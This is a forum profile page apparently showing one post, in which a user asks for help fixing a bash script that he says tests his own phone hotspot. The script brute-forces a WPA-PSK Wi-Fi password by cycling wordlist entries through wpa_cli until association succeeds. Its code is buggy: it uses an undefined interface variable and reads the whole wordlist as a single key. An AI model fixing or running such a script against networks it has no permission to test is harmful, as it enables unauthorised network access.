Jump to content

king

Members
  • Posts

    2
  • Joined

  • Last visited

Posts posted by king

  1. ok i neead help with this code, am trying to test out the strength of my phones hotspot and my skills f coding

    #!/bin/bash
    echo "What ssid";read ssid;
    echo "wordlist";read pass;
    key=$(cat $pass)
    echo "What interface";read wlan;

    while IFS='' read -r line || [[ -n $line ]];
    do
    killall wpa_supplicant > /dev/null 2>&1

    for i in `wpa_cli -i${wlan} list_networks | grep ^[0-9] | cut -f1`;
    do
    wpa_cli -i${wlan} remove_network $i > /dev/null 2>&1
    done

    wpa_cli -i${wlan} add_network > /dev/null 2>&1
    wpa_cli -i${wlan} set_network 0 auth_alg OPEN > /dev/null 2>&1
    wpa_cli -i${wlan} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
    wpa_cli -i${wlan} set_network 0 proto RSN > /dev/null 2>&1
    wpa_cli -i${wlan} set_network 0 mode 0 > /dev/null 2>&1
    wpa_cli -i${wlan} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1


    cat $pass | while IFS='' read -r line || [[ -n $line ]];
    do
    echo "checking $key"
    wpa_cli -i${int} set_network 0 psk '"'${key}'"' > /dev/null 2>&1
    wpa_cli -i${int} select_network 0 > /dev/null 2>&1
    wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
    wpa_cli -i${int} reassociate > /dev/null 2>&1
    for i in {1..6};
    do
    wifi=$(wpa_cli -i${wlan} status | grep wpa_state | cut -d"=" -f2)
    if [ "$wifi" == "COMPLETED" ];
    then
    echo "password=$key"
    fi
    sleep 2
    done
    done < "$pass"

×
×
  • Create New...